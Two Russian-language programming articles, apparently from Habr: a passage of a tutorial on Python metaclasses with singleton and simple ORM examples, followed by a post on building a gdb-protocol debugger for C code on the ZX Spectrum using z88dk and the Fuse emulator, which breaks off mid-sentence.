новейшая версия. Первый контакт -------------- Мы уже кое-что успели обсудить, но пока еще не видели, что представляет собой **метакласс**. Скоро разберемся с этим, но пока следите за моим рассказом. Начнем с чего-нибудь простого: создадим объект. ``` >>> o = object() >>> print(type(o)) ``` Мы создали новый `object` и сохранили ссылку на него в переменной `o`. **Тип** `o` – это `object`. Мы также можем объявить и наш собственный класс: ``` >>> class A: ... pass ... >>> a = A() >>> print(type(a)) ``` Теперь у нас две плохо названные переменные `a` и `o`, и мы можем проверить, в самом ли деле они относятся к соответствующим классам: ``` >>> isinstance(o, object) True >>> isinstance(a, A) True >>> isinstance(a, object) True >>> issubclass(A, object) True ``` Выше заметна одна интересная вещь: объект `a` также относится к типу `object`. Ситуация такова, поскольку класс `A` является подклассом `object` (все классы, определяемые пользователем, наследуют от `object`). Еще одна интересная вещь – во многих контекстах мы можем взаимозаменяемо применять переменные `a` и `A`. Для таких функций как `print` невелика разница, какую переменную мы ей выдадим, `a` или `A` – оба вызова «что-то» выведут на экран. Давайте поподробнее рассмотрим класс `B`, который мы только что определили: ``` >>> class B: ... def __call__(self): ... return 5 ... >>> b = B() >>> print(b) <__main__.B object at 0x1032a5a58> >>> print(B) >>> b.value = 6 >>> print(b.value) 6 >>> B.value = 7 >>> print(B.value) 7 >>> print(b()) 5 >>> print(B()) <\_\_main\_\_.B object at 0x1032a58d0> ``` Как видим, `b` и `B` во многих отношениях действуют похоже. Можно даже сделать выражение с вызовом функции, в котором использовались бы обе переменные, просто возвращены в данном случае будут разные вещи: `b` возвращает 5, как и указано в определении класса, тогда как `B` создает новый экземпляр класса. Это сходство – не случайность, а намеренно спроектированная черта языка. В  Python **классы являются сущностями первой категории**[[5]](#555) (ведут себя как все *нормальные* объекты). Более того, если классы – как объекты, то у них обязательно должен быть собственный тип: ``` >>> print(type(object)) >>> print(type(A)) >>> isinstance(object, type) True >>> isinstance(A, type) True >>> isinstance(A, object) True >>> issubclass(type, object) True ``` Оказывается, что и `object`, и `A` относятся к классу `type` – `type` это "метакласс, задаваемый по умолчанию ". Все остальные метаклассы должны наследовать от него. Возможно, на данном этапе вас уже немного путает, что класс имеет имя `type`, но в то же время это и функция, возвращающая тип сообщаемого объекта (семантика у `type`  будет совершенно разной в зависимости от того, сколько аргументов вы ему сообщите – 1 или 3). В таком виде его сохраняют по историческим причинам. Как `object`, так и `A` также являются **экземплярами** `object` – в конечном итоге, все они объекты. Каков же в таком случае тип `type`, могли бы вы спросить? ``` >>> print(type(type)) >>> isinstance(type, type) True ``` Оказывается, никакого двойного дна здесь нет, поскольку `type` относится к собственному **типу**. Весь фокус, заключающийся в **метаклассах**: мы создали `A`, подкласс `object`, так, чтобы новый экземпляр `a` относился к типу `A` и, следовательно, `object`. Таким же образом можно создать подкласс от `type` под названием `Meta`. Впоследствии мы можем использовать его как тип для новых **классов**; они будут экземплярами обоих типов: `type` и `Meta`. Рассмотрим это на практике: ``` class Meta(type): def __init__(cls, name, bases, namespace): super(Meta, cls).__init__(name, bases, namespace) print("Creating new class: {}".format(cls)) def __call__(cls): new_instance = super(Meta, cls).__call__() print("Class {} new instance: {}".format(cls, new_instance)) return new_instance ``` Это наш первый **метакласс**. Мы могли бы сделать его определение еще более минималистичным, но хотели сделать, чтобы в итоге он делал хотя бы что-нибудь полезное. * Он переопределяет магический метод `__init__`,  чтобы на экран выводилось сообщение всякий раз, когда создается новый экземпляр `Meta`. * Он переопределяет магический метод `call` , чтобы выводилось сообщение ·         всякий раз, когда пользователь применяет *синтаксис вызова функций* к экземпляру – пишет `variable()`. Оказывается, что в Python создание экземпляра класса имеет ту же форму, что и вызов функции. Если у нас есть функция `f`, то, чтобы вызвать ее, мы пишем `f()` . Если у нас есть класс `A`, то мы пишем `A()` для создания нового экземпляра. Соответственно, мы используем хук `__call__`. Все-таки, **метакласс** сам по себе не так интересен. Интересное начинается, лишь когда мы создаем экземпляр метакласса. Давайте это и сделаем: ``` >>> class C(metaclass=Meta): ... pass ... Creating new class: >>> c = C() Class new instance: <\_\_main\_\_.C object at 0x10e99ae48> >>> print(c) <\_\_main\_\_.C object at 0x10e99ae48> ``` Действительно, наш метакласс работает как задумано: выводит сообщения, когда в жизненном цикле класса происходят определенные события. В данном случае важно понимать, что мы работаем сразу с тремя разными уровнями абстракции - **метаклассом**, **классом** и **экземпляром**. Когда мы пишем `class C(metaclass=Meta)`, мы создаем `C`, представляющий собой экземпляр `Meta` - вызывается `Meta.init`, и выводится сообщение. На следующем шаге мы вызываем `C()` для создания нового экземпляра класса `C`, и на этот раз выполняется `Meta.__call__`. На последнем шаге мы вывели на экран `c`, вызывая `C.__str__`, который, в свою очередь, разрешается в заданную по умолчанию реализацию, определенную в базовом классе `object`. Сейчас можем посмотреть все типы наших переменных: ``` >>> print(type(C)) >>> isinstance(C, Meta) True >>> isinstance(C, type) True >>> issubclass(Meta, type) True >>> print(type(c)) >>> isinstance(c, C) True >>> isinstance(c, object) True >>> issubclass(C, object) True ``` Выше я попытался сделать мягкое введение в тему **метаклассов**и, надеюсь, вы уже представляете, что это такое, и как ими можно пользоваться. Но, на мой взгляд, этот текст ничего бы не стоил без нескольких практических примеров. К ним и перейдем. Полезный пример: синглтон ------------------------- В этом разделе мы напишем совсем маленькую библиотеку, в которой будет малость **метаклассов**. Мы реализуем "эскиз" для паттерна проектирования [*синглтон*](https://www.piter.com/collection/new/product/odnostrochniki-python-lakonichnyy-i-soderzhatelnyy-kod) [[6]](#666)  – это класс, который может иметь всего один экземпляр. Честно говоря, его можно было бы реализовать и без всякого использования метаклассов, просто переопределив метод `__new__` в базовом классе, так, чтобы он вернул ранее запомненный экземпляр: ``` class SingletonBase: instance = None def __new__(cls, *args, **kwargs): if cls.instance is None: cls.instance = super().__new__(cls, *args, **kwargs) return cls.instance ``` Вот и все. Любой подкласс, наследующий от `SingletonBase`, теперь проявляет поведение синглтона. Рассмотрим, каков он в действии: ``` >>> class A(SingletonBase): ... pass ... >>> class B(A): ... pass ... >>> print(A()) <__main__.A object at 0x10c8d8710> >>> print(A()) <__main__.A object at 0x10c8d8710> >>> print(B()) <__main__.A object at 0x10c8d8710> ``` Тот подход, который мы здесь используем, вроде бы работает – при каждой попытке создать экземпляр возвращается тот же самый объект. Но есть и такое поведение, которое может показаться нам неожиданным: при попытке создать экземпляр класса `B` мы получаем в ответ тот же самый экземпляр `A`, что и раньше. Эту проблему можно решить, и не прибегая никоим образом к **метаклассам**, но решение с ними просто очевидное – так почему бы ими не воспользоваться? У нас будет такой класс `SingletonBaseMeta`, чтобы каждый его подкласс при создании инициализировал поле `instance` со значением `None`. Вот что получается: ``` class SingletonMeta(type): def __init__(cls, name, bases, namespace): super().__init__(name, bases, namespace) cls.instance = None def __call__(cls, *args, **kwargs): if cls.instance is None: cls.instance = super().__call__(*args, **kwargs) return cls.instance class SingletonBaseMeta(metaclass=SingletonMeta): pass ``` Можем попробовать, а работает ли этот подход: ``` >>> class A(SingletonBaseMeta): ... pass ... >>> class B(A): ... pass ... >>> print(A()) <__main__.A object at 0x1101f6358> >>> print(A()) <__main__.A object at 0x1101f6358> >>> print(B()) <__main__.B object at 0x1101f6eb8> ``` Поздравляем, по-видимому наша библиотека-синглтон работает именно так, как и планировалось! На правах опытных проектировщиков библиотеки с *метаклассами*, давайте замахнемся на что-нибудь посложнее. Полезный пример: упрощенное ORM ------------------------------- Как упоминалось выше, с паттерном *синглтон* можно красиво разобраться, слегка воспользовавшись **метаклассами**, но острой необходимости в них нет. Большинство реальных проектов, в которых **метаклассы** действительно используются – это те или иные вариации на тему ORM[[7]](#777). В качестве упражнения построим подобный пример, но сильно упрощенный. Это будет уровень сериализации/десериализации между классами Python и JSON. Вот как должен выглядеть интерфейс, который мы хотим получить (смоделирован на Django ORM/SQLAlchemy): ``` class User(ORMBase): """ Пользователь в нашей системе """ id = IntField(initial_value=0, maximum_value=2**32) name = StringField(maximum_length=200) surname = StringField(maximum_length=200) height = IntField(maximum_value=300) year_born = IntField(maximum_value=2017) ``` Мы хотим иметь возможность определять классы и их поля вместе с типами. Для этого нам пригодилась бы возможность сериализовать наш класс в JSON: ``` >>> u = User() >>> u.name = "Guido" >>> u.surname = "van Rossum" >>> print("User ID={}".format(u.id)) User ID=0 >>> print("User JSON={}".format(u.to_json())) User JSON={"id": 0, "name": "Guido", "surname": "van Rossum", "height": null, "year_born": null} ``` И десериализовать его: ``` >>> w = User('{"id": 5, "name": "John", "surname": "Smith", "height": 185, "year_born": 1989}') >>> print("User ID={}".format(w.id)) User ID=5 >>> print("User NAME={}".format(w.name)) User NAME=John ``` Для всего вышеприведенного нам не так уж и нужны **метаклассы**, так что давайте реализуем одну «изюминку» - добавим  **валидацию**. ``` >>> w.name = 5 Traceback (most recent call last): File "", line 1, in File "simple-orm.py", line 96, in \_\_setattr\_\_ raise AttributeError('Invalid value "{}" for field "{}"'.format(value, key)) AttributeError: Invalid value "5" for field "name" >>> w.middle\_name = "Stephen" Traceback (most recent call last): File "", line 1, in File "simple-orm.py", line 98, in \_\_setattr\_\_ raise AttributeError('Unknown field "{}"'.format(key)) AttributeError: Unknown field "middle\_name" >>> w.year\_born = 3000 Traceback (most recent call last): File "", line 1, in File "simple-orm.py", line 96, in \_\_setattr\_\_ raise AttributeError('Invalid value "{}" for field "{}"'.format(value, key)) AttributeError: Invalid value "3000" for field "year\_born" ``` Напоминание о конструкторе типов -------------------------------- Прежде чем перейти к реализации ORM-библиотеки, я должен напомнить еще об одной вещи, конструкторе типов `type`. Я упоминал его лишь вскользь, но это важная тема, которую требуется развернуть. Вспомните эпизод из предыдущего раздела, когда мы определяли метод `__init__`  для нашего первого метакласса: ``` class Meta(type): def __init__(cls, name, bases, namespace): ``` Откуда же взялись эти три аргумента `name`, `bases` и `namespace`? Это **параметры конструктора типов**. Три этих значения полностью описывают класс, создаваемый в данный момент. * **name** – просто имя класса в формате строки * **bases** – кортеж базовых классов, может быть пустым * **namespace** – словарь всех полей, определенных внутри класса. Сюда идут все методы и переменные класса. Вот и все, что здесь есть. На самом деле, можно было бы и не определять класс при помощи общего синтаксиса, а вызвать конструктор `type` напрямую: ``` class A: X = 5 def f(self): print("Class A {}".format(self)) def f(self): print("Class B {}".format(self)) B = type("B", (), {'X': 6, 'f': f}) ``` В этом коде мы определили два почти идентичных класса, `A` и `B`. У них отличаются значения, присвоенные переменной класса `X`, и выводятся на экран разные значения при вызове метода `f`. Но на этом все – фундаментальных отличий нет, и оба принципа определения классов эквивалентны. Фактически, интерпретатор Python преобразует первый из описанных здесь механизмов во второй. ``` >>> print(A) >>> print(B) >>> print(A.X) 5 >>> print(B.X) 6 >>> a = A() >>> b = B() >>> a.f() Class A <\_\_main\_\_.A object at 0x1023432b0> >>> b.f() Class B <\_\_main\_\_.B object at 0x1023431d0> ``` Именно на этом этапе определение собственного **метакласса** позволяет вам влиять на события. Можно перехватывать параметры, передаваемые конструктору `type`, изменять их и создавать собственный класс таким образом, как вам угодно. Упрощенное ORM – грамотная программа ------------------------------------ Мы уже знаем, чего хотим – написать библиотеку, удовлетворяющую требованиям указанного интерфейса. Мы также знаем, что будем решать эту задачу при помощи **метаклассов**. Далее я приведу реализацию в стиле [грамотного программирования](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D0%BC%D0%BE%D1%82%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). Код из этого раздела можно загрузить в интерпретатор Python и запустить. Мы будем использовать всего один пакет – для синтаксического разбора/сериализации JSON: ``` import json ``` Далее определим базовый класс для всех наших полей. Он устроен весьма просто, как и большинство других отдельных частей данной библиотеки. В нем есть реализация-заглушка для валидационной функции и пустое начальное значение. ``` class Field: """ Базовый класс для всех полей. Каждому полю должно быть присвоено начальное значение """ def __init__(self, initial_value=None): self.initial_value = initial_value def validate(self, value): """ Проверить, является ли это значение допустимым для данного поля """ return True ``` Для простоты я реализую всего два подкласса `Field`: `IntField` и `StringField`. При необходимости можно добавить и другие. ``` class StringField(Field): """ Строковое поле. Опционально в нем можно проверять длину строки """ def __init__(self, initial_value=None, maximum_length=None): super().__init__(initial_value) self.maximum_length = maximum_length def validate(self, value): """ Проверить, является ли это значение допустимым для данного поля """ if super().validate(value): return (value is None) or (isinstance(value, str) and self._validate_length(value)) else: return False def _validate_length(self, value): """ Проверить, имеет ли строка верную длину """ return (self.maximum_length is None) or (len(value) <= self.maximum_length) class IntField(Field): """ Целочисленное поле. Опционально можно проверять, является ли записанное в нем число целым""" def __init__(self, initial_value=None, maximum_value=None): super().__init__(initial_value) self.maximum_value = maximum_value def validate(self, value): """ Проверить, является ли это значение допустимым для данного поля """ if super().validate(value): return (value is None) or (isinstance(value, int) and self._validate_value(value)) else: return False def _validate_value(self, value): """ Проверить, относится ли целое число к желаемому дмапазону """ return (self.maximum_value is None) or (value <= self.maximum_value) ``` Если не считать перенаправления `initial_value` конструктору базового класса, этот код состоит в основном из процедур валидации. Опять же, не сложно добавить в него другие подобные акты валидации, но я хотел показать вам простейшую возможную модель в качестве доказательства концепции. В `StringField` мы хотим проверить, относится ли значение к правильному типу – `str`, и является ли длина строки меньшей или равной максимальному значению (если такое значение определено). В поле `IntField` мы проверяем, является ли значение целым числом, и является ли оно меньшим или равным, чем сообщенное максимальное значение. Важно отметить: мы допускаем, чтобы значения в полях были равны `None`. В качестве интересного упражнения предлагаю читателю реализовать **обязательные** поля, в которых не допускается значение `None`. Следующий фрагмент кода – это наш **метакласс**: ``` class ORMMeta(type): """ Метакласс для нашего собственного ORM """ def __new__(self, name, bases, namespace): fields = { name: field for name, field in namespace.items() if isinstance(field, Field) } new_namespace = namespace.copy() # Удалить поля, относящиеся к переменным класса for name in fields.keys(): del new_namespace[name] new_namespace['_fields'] = fields return super().__new__(self, name, bases, new_namespace) ``` Наш метакласс совсем не кажется сложным. В нем одна функция, и единственное его назначение – собрать все экземпляры `Field` в новую переменную класса, которая называется `_fields`. Все экземпляры полей также удаляются из словаря класса. Единственная вещь, для которой нам нужен наш **метакласс** – чтобы он подключался в момент, когда создается наш класс, брал все определения полей и сохранял их все в одном месте. Собственно, большая часть фактической работы выполняется в базовом классе нашей библиотеки: ``` class ORMBase(metaclass=ORMMeta): """ Пользовательский интерфейс для базового класса """ def __init__(self, json_input=None): for name, field in self._fields.items(): setattr(self, name, field.initial_value) # Если предоставляется JSON, то мы разберем его if json_input is not None: json_value = json.loads(json_input) if not isinstance(json_value, dict): raise RuntimeError("Supplied JSON must be a dictionary") for key, value in json_value.items(): setattr(self, key, value) def __setattr__(self, key, value): """ Установщик магического метода """ if key in self._fields: if self._fields[key].validate(value): super().__setattr__(key, value) else: raise AttributeError('Invalid value "{}" for field "{}"'.format(value, key)) else: raise AttributeError('Unknown field "{}"'.format(key)) def to_json(self): """ Преобразовать заданный объект в JSON """ new_dictionary = {} for name in self._fields.keys(): new_dictionary[name] = getattr(self, name) return json.dumps(new_dictionary) ``` У класса `ORMBase` три метода, и у каждого из них своя конкретная задача: * `__init__` - первым делом, установить все поля в начальные значения. Затем, если в качестве параметра передается документ в формате JSON, разобрать его и присвоить значения, полученные в процессе считывания, полям нашей модели. * `__setattr__` - Это магический метод, вызываемый всякий раз, когда кто-нибудь пытается **присвоить** значение атрибуту класса. Когда кто-нибудь записывает `object.attribute = value`, вызывается метод `object.__setattr__("attribute", value)`. Переопределив этот метод, мы можем изменить поведение, заданное по умолчанию, в данном случае – при помощи инъекции валидационного кода. * `to_json` – простейший из всех методов в классе. Просто принимает все значения полей и сериализует их в документ JSON. Вот и вся реализация – наша библиотека готова. Можете сами убедиться, что она работает как положено, и менять ее, если считаете, что она должна работать иначе. ``` >>> User('{"name": 5}') Traceback (most recent call last): File "/usr/local/lib/python3.6/site-packages/IPython/core/interactiveshell.py", line 2881, in run_code exec(code_obj, self.user_global_ns, self.user_ns) File "", line 1, in User('{"name": 5}') File "/Users/jrx/repos/metaclass-playground/simple-orm.py", line 86, in \_\_init\_\_ setattr(self, key, value) File "/Users/jrx/repos/metaclass-playground/simple-orm.py", line 94, in \_\_setattr\_\_ raise AttributeError('Invalid value "{}" for field "{}"'.format(value, key)) AttributeError: Invalid value "5" for field "name" ``` Заключительные замечания ------------------------ Весь код к этому посту можно скачать в репозитории на GitHub [[8]](#888). Надеюсь, эта статья вам понравилась и подсказала вам какие-то идеи. **Метаклассы** могут казаться немного непонятными и не всегда полезными. Однако, они определенно позволяют собирать элегантные библиотеки и интерфейсы, если уметь метаклассами пользоваться. Подробнее о том, как **метаклассы** используются в реальной жизни, можно почитать в статье [[9]](#999). ### Источники * [1] <http://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python> * [2] <https://docs.djangoproject.com/en/1.10/topics/db/> * [3] <https://docs.python.org/3/library/abc.html#abc.ABCMeta> * [4] <https://developers.google.com/protocol-buffers/docs/pythontutorial> * [5] [https://ru.wikipedia.org/wiki/Объект\_первого\_класса](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82_%D0%BF%D0%B5%D1%80%D0%B2%D0%BE%D0%B3%D0%BE_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0) * [6] [https://ru.wikipedia.org/wiki/Одиночка\_(шаблон\_проектирования)](https://ru.wikipedia.org/wiki/%D0%9E%D0%B4%D0%B8%D0%BD%D0%BE%D1%87%D0%BA%D0%B0_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)) * [7] <https://ru.wikipedia.org/wiki/ORM> * [8] <https://github.com/MillionIntegrals/metaclass-playground> * [9] <http://eli.thegreenplace.net/2011/08/14/python-metaclasses-by-example>
https://habr.com/ru/post/592127/
null
ru
null
# Отладка C на ZX Spectrum ![клон ZX Spectrum harlequin 128k c ethernet адаптером Spectranet](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/980/2ea/897/9802ea89743c0dd58974978bd4ef7b1f.jpg "клон ZX Spectrum harlequin 128k c ethernet адаптером Spectranet")клон ZX Spectrum harlequin 128k c ethernet адаптером SpectranetЕсли ваш Спектрум пылится на полке, эта статья подскажет, как дать ему вторую жизнь, а вам — новое хобби. Кому Spectrum может быть интересен в 2021? ------------------------------------------ В первую очередь, опытным разработчикам, которым хотелось бы встретить вызов: всего лишь ~40кб памяти, включая код программы. Реализовать хорошее приложение крайне затруднительно, так как вы столкнетесь не только с нехваткой памяти, медленным процессором, но и отсутствием многих привычных вещей: например, printf это слишком дорого. В какой-то момент вы превысите лимит и вам придется поднапрячься, чтобы раздобыть драгоценные байты. Многие вещи вы будете просто вынуждены реализовать ассемблером, что есть интересный опыт. С сетевым адаптером [Spectranet](https://www.bytedelight.com/?page_id=3515) применение у Спектрума кардинально расширяется — это могут быть не только игры, но и мессенджеры, терминалы и даже браузер. В комплекте к Spectranet идут библиотеки на ассемблере, бейсике, и Си, о расширении возможностей которого и пойдет речь в этой статье. Чем можно компилировать? ------------------------ В отладке кода для ZX Spectrum вас ждет сюрприз — компилятора под него всего два: [binutils-z80](https://directory.fsf.org/wiki/Binutils-z80) и [z88dk](https://z88dk.org/site/), первый содержит в себе gdb и полный toolchain, но создан для "generic" z80, и что такое Spectrum он не знает (без библиотек), а второй — имеет обширную библиотеку, но в нем отсутсвует возможность отладки. В этой статье я опишу процесс создания отладчика для z88dk (на примере компилятора sccz80). Как происходит компиляция в z88dk? ---------------------------------- Этот раздел справедлив и для других компиляторов, но т.к. это будет важно позднее, я решил описать процесс детальней. Сначала, транслятор (z88dk-ucpp) превращает #define'ы в результат вычисления и встраивает #include'ы внутрь файла компиляции. Перед встроенными файлами включений транслятор вставляет специальную инструкцию для компилятора, чтобы тот мог восстановить точку встраивания: ``` #line 1 "header.h" enum the_enum { VALUE_0 = 0, VALUE_1 = 1, }; #line 2 "other.c" int haha(int a, int b) { ... } ``` Затем, транслированный файл передается компилятору, который превращает Си в ассемблер. ``` ; Function haha flags 0x00000200 __smallc ; int haha(int a, int b) C_LINE 4,"other.c::haha::0::0" ._haha push ix // эти три инструкции ld ix,0 // будут раскрыты в конце add ix,sp // статьи C_LINE 4,"other.c::haha::0::0" C_LINE 5,"other.c::haha::1::1" C_LINE 5,"other.c::haha::1::1" ld hl,6 ;const add hl,sp push hl call l_gint ; ... ``` Компилятор "подхватывает" #line и генерирует C\_LINE для ассемблера. Также sccz80 генерирует символы \_\_CDBINFO\_\_XXX с отладочной информацией о сущностях, которые он скомпилировал: ``` PUBLIC __CDBINFO__S_3aG_24VALUE_5f_30_24_30_5f_30_24_30_28_7b_30_7d_29_2cE_2c_30_2c_30 defc __CDBINFO__S_3aG_24VALUE_5f_30_24_30_5f_30_24_30_28_7b_30_7d_29_2cE_2c_30_2c_30 = 1 PUBLIC __CDBINFO__S_3aG_24VALUE_5f_31_24_30_5f_30_24_30_28_7b_30_7d_29_2cE_2c_30_2c_30 defc __CDBINFO__S_3aG_24VALUE_5f_31_24_30_5f_30_24_30_28_7b_30_7d_29_2cE_2c_30_2c_30 = 1 ... ``` Вся информация содержится в именах символов, urlencode кодировкой c заменой "%" на "\_". Само значение у символов игнорируется. Затем происходит сборка (assemble) — процесс превращения asm кода в машинный. На выходе получается один объектный файл для одного исходного. Такой машинный код необходимо "переместить" (relocate), т.к. инструкции вроде CALL X не могут знать, где находится настоящий X на этом этапе. Инструкции C\_LINE и \_\_CDBINFO\_\_ также попадают в объектный файл, как обычные символы. В заключении, все объектные файлы сливаются воедино, это называется линковкой (компоновкой). В z88dk и сборкой и линковкой занимается z80asm по совместительству. Во время линковки, всем меткам и символам присваиваются абсолютные адреса, а на выходе получается машинный код, готовый к исполнению. Если при линковке передать флаг -m, то линковщик также сгенерирует специальный .map файл, в котором опишет все символы, включая отладочные: ![Функция haha() находится по адресу 0x82AC](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1c5/390/dc5/1c5390dc5fb7eb95f97bc6579430e73b.png "Функция haha() находится по адресу 0x82AC")Функция haha() находится по адресу 0x82ACТаким образом, в файле .map содержится достаточное количество отладочной информации. Вся эта информация собирается в этот файл не просто так — ведутся работы по созданию отладчика, но самого отладчика пока нет, кроме ticks, который полезен только для регрессионных тестов. Этой статьей я надеюсь, в том числе, ускорить процесс. Используем z88dk-ticks ---------------------- У z88dk есть свой небольшой отладчик, немного похожий на gdb, который и использует информацию выше (на текущий момент, только C\_LINE + символы) для того, чтобы ставить точки останова. К сожалению, этот отладчик сильно связан со своим небольшим эмулятором, который все что умеет, это подсчитывать количество тактов (отсюда и название). ![Что умеет ticks](https://habrastorage.org/r/w1560/getpro/habr/upload_files/aaa/bad/6f8/aaabad6f8a6246c84e50bfb78b0c99fb.png "Что умеет ticks")Что умеет ticksПару слов о Fuse ---------------- [Fuse](http://fuse-emulator.sourceforge.net/) — один из самых популярных эмуляторов для ZX Spectrum. Он поддерживает большое количество аппаратуры, умеет эмулировать Spectranet, и даже есть свой ассемблерный отладчик. ![Отладчик Fuse](https://habrastorage.org/r/w1560/getpro/habr/upload_files/1a1/63f/7af/1a163f7af08663b319b83e78eaf758a9.png "Отладчик Fuse")Отладчик FuseК сожалению, таким отладчиком трудно пользоваться — он ничего не знает о приложении и приходится то и дело руками выяснять адреса, чтобы поставить точку останова. Связываем Fuse и ticks вместе ----------------------------- Так как gdb — очень популярный отладчик, протокол у него [хорошо описан](https://sourceware.org/gdb/onlinedocs/gdb/Packets.html#Packets). У имплементации этого протокола, вместо написания своего, также есть преимущество — возможность отладки другими отладчиками, в т.ч. и через z80-elf-gdb. Преимущество работает в обе стороны: другие эмуляторы могут также создать имплементацию этого протокола, и стать отлаживаемыми. Например, пакет для получение блока памяти пишется просто "mXXXX,XXXX", а код для его обработки выглядит также просто: ``` case 'm': { struct action_mem_args_t mem; assert(sscanf(payload, "%zx,%zx", &mem.maddr, &mem.mlen) == 2); ... gdbserver_execute_on_main_thread(action_get_mem, &mem, tmpbuf); write_packet(tmpbuf); break; } ``` Т.к. сеть и эмулятор находятся на разных потоках, нужен механизм в стиле "post runnable", чтобы это синхронизировать. Содержимое ticks я разделил на две части — сам отладчик и эмулятор. ![два бэкэнда](https://habrastorage.org/r/w1560/getpro/habr/upload_files/308/67e/224/30867e2244595670eaacc8728ada37ca.png "два бэкэнда")два бэкэндаЧерез специальное API получилось две имплементации общения отладчика с эмулятором — напрямую со встроенным эмулятором ticks, и удаленно как gdb клиент, при подключении к gdbserver. Далее, в клиенте отладчика необходимо заменить старый функционал на парочку "виртуальных" (в C-стиле) функций: ``` static int cmd_next(int argc, char **argv) { bk.next(); return 1; /* We should exit the loop */ } static int cmd_continue(int argc, char **argv) { bk.resume(); debugger_active = 0; return 1; } ``` А также, не забыть имплементацию gdb протокола для клиента: ``` void debugger_next() { char buf[100]; int len = disassemble2(bk.pc(), buf, sizeof(buf), 0); char req[64]; sprintf(req, "i%d", len); write_packet(req); write_flush(connection_socket); debugger_active = 0; } void debugger_resume() { debugger_active = 0; write_packet("D"); write_flush(connection_socket); } static backend_t gdb_backend = { ... .break_ = &debugger_break, .resume = &debugger_resume, .next = &debugger_next, .step = &debugger_step, .add_breakpoint = &add_breakpoint, ... }; ``` Строим стек вызова ------------------ Чтобы получить стек обратного вызова функции, нужно разобраться в том, как стек работает. Компилятор понимает несколько соглашений по вызову, но для простоты остановимся на "стандартном" для sccz80. Перед тем, как вызвать функцию, аргументы функции добавляются в стек, слева направо, затем следует адрес возврата. Согласно "стандартному" соглашению, вызывающий функцию обязан почистить стек от аргументов, после вызова. Результат вызова функции возвращается через регистр(ы) HL/DE. В виде псевдокода это выглядит так: ``` ; int main() ... PUSH A PUSH B ; адрес возврата добавляется в стек неявно, через CALL CALL _haha POP BC POP BC ``` Регистр z80 IX практически не используется библиотеками, поэтому, если скомпилировать с флагом -debug, то sccz80 добавит в начале функции специальный код: ``` ; int haha(int a, int b) ._haha push ix ld ix,0 add ix,sp ... ``` Этот небольшой трюк (называется Frame Pointer) сохраняет в IX значение регистра SP, ответственного за стек, перед выполнением функции. Таким образом, в любой точке функции мы можем знать "уровень стека" на момент начала вызова. Зачем это нужно? Дело в том, что функция может решить разместить в стеке локальные переменные, и/или начать вызывать другую функцию, аргументы к которой нужно также разместить в стек. Первой же инструкцией, в стек добавляется старый IX, отвечающий за Frame Pointer той функции, которая вызвала эту. После этих трех инструкций стек может выглядеть примерно так: ``` ; int haha(int a, int b) ; IX = текущий Frame Pointer = 0x8006 0x800A Локальная переменная ZZ 0x8008 Локальная переменная XX 0x8006 Указатель на Frame Pointer _main = 0x7FFE 0x8004 Адрес возврата из _haha 0x8002 B 0x8000 A ; int main() 0x7FFE Frame Pointer _main 0x7FFC Адрес возврата из _main ``` Таким образом, чтобы построить стек вызова, нужно всего лишь последовать по стеку, через регистр IX или напрямую, в зависимости от того, испортили мы уже стек (6 байт смещения), или еще нет: ``` uint16_t at = registers.pc; uint16_t stack = registers.sp; uint16_t ix = registers.ix; uint16_t offset; do { // найдем символ функции по текущему адресу symbol* sym = symbol_find(at, SYM_ADDRESS, &offset); // печатаем функцию debug_print_source_location(sym, ...) if (offset <= 6) { // sp еще не испорчен, адрес возврата прямо на стеке uint16_t caller = wrap_reg(bk.get_memory(stack + 1), bk.get_memory(stack)); at = caller; // скипаем адрес возврата stack += 2; } else { // ix указывает на стек на начале функции stack = ix; // восстановим ix вызывавшей функции, чтобы повторить шаг ix = wrap_reg(bk.get_memory(ix + 1), bk.get_memory(ix)); // скипаем ix stack += 2; // по востановленному стеку понимаем вызывавшую функцию uint16_t caller = wrap_reg(bk.get_memory(stack + 1), bk.get_memory(stack)); at = caller; } if (strcmp(sym->name, "_main") == 0) { // на main можно закончить break; } } while (1); ``` ![пропатченный ticks показывает стек вызова](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/c34/e6a/b5b/c34e6ab5b3031f19dbe6ea14e5d10e3c.jpg "пропатченный ticks показывает стек вызова")пропатченный ticks показывает стек вызоваКонечно, все усложняется, стоит функции реализовать нестандартное соглашение. В заключение ------------ Работы по развитию отладчика для z80 активно ведутся, но многие темы еще предстоит раскрыть. Имплементация форка Fuse [fuse](http://fuse-emulator.sourceforge.net/) со встроенным gdbserver доступна [по ссылке](https://github.com/desertkun/fuse/commits/gdbserver), а форк z88dk с обновленным отладчиком доступен на [этом репозитории](https://github.com/desertkun/z88dk/commits/ticks_gdbclient). Так как все это находится в стадии разработки, пощупать можно, только если скомпилировать самостоятельно. **UPD**: Пока статья проходила модерацию, изменения, описанные выше, были [слиты](https://github.com/z88dk/z88dk/pull/1843) с главной веткой z88dk, в виде нового инструмента `z88dk-gdb`. Кроме того, оказалось, другой популярный эмулятор [mame](https://www.mamedev.org/) также поддерживает gdbserver (`./mame spectrum -debug -debugger gdbstub -debugger_port 1337`), так что пощупать все это можно будет уже со следующего релиза z88dk (или собрав главную ветку), не дожидаясь обновления Fuse. #### IX регистр и библиотечные функции Некоторые функции стандартной библиотеки z88dk для sccz80 меняют регистр IX. Чтобы решить эту проблему, нужно выпустить две версии таких функций, включая отладочные, которые сохранят IX через стек. #### Железный отладчик? Вполне возможно реализовать отладку "живой" машины через картридж Spectranet, реализовав в нем поддержку gdbserver, ведь он поддерживает одну [настраиваемую точку останова](https://web.archive.org/web/20191020021644/http://spectrum.alioth.net/doc/index.php/Trapping_execution). #### Локальные переменные? Чтобы получить доступ к локальным переменным, необходимо посчитать смещения относительно адреса возврата, ведь они идут сразу перед ним, а также адреса смещений доступны в переменных \_\_CDBINFO\_\_. К сожалению, на момент 